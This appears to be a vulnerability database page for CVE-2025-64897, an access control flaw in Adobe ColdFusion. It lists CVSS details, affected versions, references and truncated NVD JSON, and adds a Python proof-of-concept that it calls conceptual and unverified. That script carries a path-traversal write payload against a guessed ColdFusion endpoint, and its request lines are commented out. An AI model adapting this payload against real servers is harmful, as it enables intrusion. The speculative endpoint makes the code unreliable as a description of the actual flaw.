CVE-2025-64897

Description

ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Improper Access Control vulnerability. A low privileged attacker could leverage this vulnerability to bypass security measures and gain limited unauthorized write access potentially resulting in denial of service. Exploitation of this issue requires user interaction.

CVSS Details

CVSS Score

5.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:* - VULNERABLE

ColdFusion 2025.4及更早版本

ColdFusion 2023.16及更早版本

ColdFusion 2021.22及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64897 PoC Concept (Conceptual - Not Verified)
# This is a conceptual proof of concept for educational purposes only

import requests
import sys

def exploit_coldfusion(target_url, attacker_cookie):
    """
    Conceptual exploit for CVE-2025-64897
    Improper Access Control in Adobe ColdFusion
    
    NOTE: This is a placeholder PoC structure. Actual exploitation
    requires specific knowledge of the vulnerable endpoint and 
    proper authentication context.
    """
    
    print(f"[*] Targeting: {target_url}")
    print(f"[*] Vulnerability: Improper Access Control (CVE-2025-64897)")
    
    # Step 1: Identify vulnerable endpoint (requires enumeration)
    vulnerable_endpoint = "/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/"
    
    # Step 2: Attempt to bypass access control with low-privilege session
    headers = {
        'Cookie': attacker_cookie,
        'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-64897-Test)'
    }
    
    # Step 3: Send malicious request to gain unauthorized write access
    # This is a conceptual representation - actual exploit requires more research
    exploit_payload = {
        'action': 'write',
        'path': '../../../../../../../../../opt/coldfusion/cfusion/lib/',
        'data': 'malicious_content'
    }
    
    print("[*] Sending exploitation request...")
    # response = requests.post(target_url + vulnerable_endpoint, 
    #                          headers=headers, data=exploit_payload, timeout=10)
    
    # Step 4: Trigger denial of service
    # response = requests.get(target_url + '/cfide/administrator/', 
    #                         headers=headers, timeout=10)
    
    print("[-] This is a conceptual PoC structure only.")
    print("[-] Actual exploitation requires proper authentication and endpoint identification.")
    
    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: python {sys.argv[0]} <target_url> <cookie>")
        sys.exit(1)
    exploit_coldfusion(sys.argv[1], sys.argv[2])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64897
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64897
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64897/
[4] VulDB https://vuldb.com/cve/CVE-2025-64897
[5] https://helpx.adobe.com/security/products/coldfusion/apsb25-105.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64897", "sourceIdentifier": "[email protected]", "published": "2025-12-10T00:16:10.767", "lastModified": "2025-12-12T18:41:18.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Improper Access Control vulnerability. A low privileged attacker could leverage this vulnerability to bypass security measures and gain limited unauthorized write access potentially resulting in denial of service. Exploitation of this issue requires user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:*", "matchCriteriaId": "7A94B406-C011-4673-8C2B-0DD94D46CC4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:*", "matchCriteriaId": "AFD05E3A-10F9-4C75-9710-BA46B66FF6E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:*", "matchCriteriaId": "F1FC7D1D-6DD2-48B2-980F-B001B0F24473"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:*", "matchCriteriaId": "1FA19E1D-61C2-4640-AF06-4BCFE750BDF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:*", "matchCriteriaId": "3F331DEA-F3D0-4B13-AB1E-6FE39B2BB55D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update13:*:*:*:*:*:*", "matchCriteriaId": "63D5CF84-4B0D-48AE-95D6-262AEA2FFDE8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update14:*:*:*:*:*:*", "matchCriteriaId": "10616A3A-0C1C-474A-BD7D-A2A5BB870F74"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update15:*:*:*:*:*:*", "matchCriteriaId": "D7DA523E-1D9B-45FD-94D9-D4F9F2B9296B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update16:*:*:*:*:*:*", "matchCriteriaId": "151AFF8B-F05C-4D27-85FC-DF88E9C11BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update17:*:*:*:*:*:*", "matchCriteriaId": "53A0E245-2915-4DFF-AFB5-A12F5C435702"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update18:*:*:*:*:*:*", "matchCriteriaId": "C5653D18-7534-48A3-819F-9F049A418F99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update19:*:*:*:*:*:*", "matchCriteriaId": "BABC6468-A780-4080-A930-4125D1B39C51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update2:*:*:*:*:*:*", "matchCriteriaId": "D57C8681-AC68-47DF-A61E-B5C4B4A47663"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update20:*:*:*:*:*:*", "matchCriteriaId": "F58633C9-E957-46B7-8F5B-B060A8726E33"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update21:*:*:*:*:*:*", "matchCriteriaId": "3CF83653-86BB-461A-87F8-65D99EF2276E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update22:*:*:*:*:*:*", "matchCriteriaId": "C2C67E15-22DE-44C0-8CB1-9AF8FCF09FA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update3:*:*:*:*:*:*", "matchCriteriaId": "75608383-B727-48D6-8FFA-D552A338A562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update4:*:*:*:*:*:*", "matchCriteriaId": "7773DB68-414A-4BA9-960F-52471A784379"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update5:*:*:*:*:*:*", "matchCriteriaId": "B38B9E86-BCD5-4BCA-8FB7-EC55905184E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update6:*:*:*:*:*:*", "matchCriteriaId": "5E7BAB80-8455-4570-A2A2-8F40469EE9CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update7:*:*:*:*:*:*", "matchCriteriaId": "F9D645A2-E02D-4E82-A2BD-0A7DE5B8FBCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update8:*:*:*:*:*:*", "matchCriteriaId": "6E22D701-B038-4795-AA32-A18BC93C2B6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update9:*:*:*:*:*:*", "matchCriteriaId": "CAC4A0EC-C3FC-47D8-86CE-0E6A87A7F0B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:-:*:*:*:*:*:*", "matchCriteriaId": "B02A37FE-5D31-4892-A3E6-156A8FE62D28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update1:*:*:*:*:*:*", "matchCriteriaId": "0AA3D302-CFEE-4DFD-AB92-F53C87721BFF"}, {"vulnerable": true, " ... (truncated)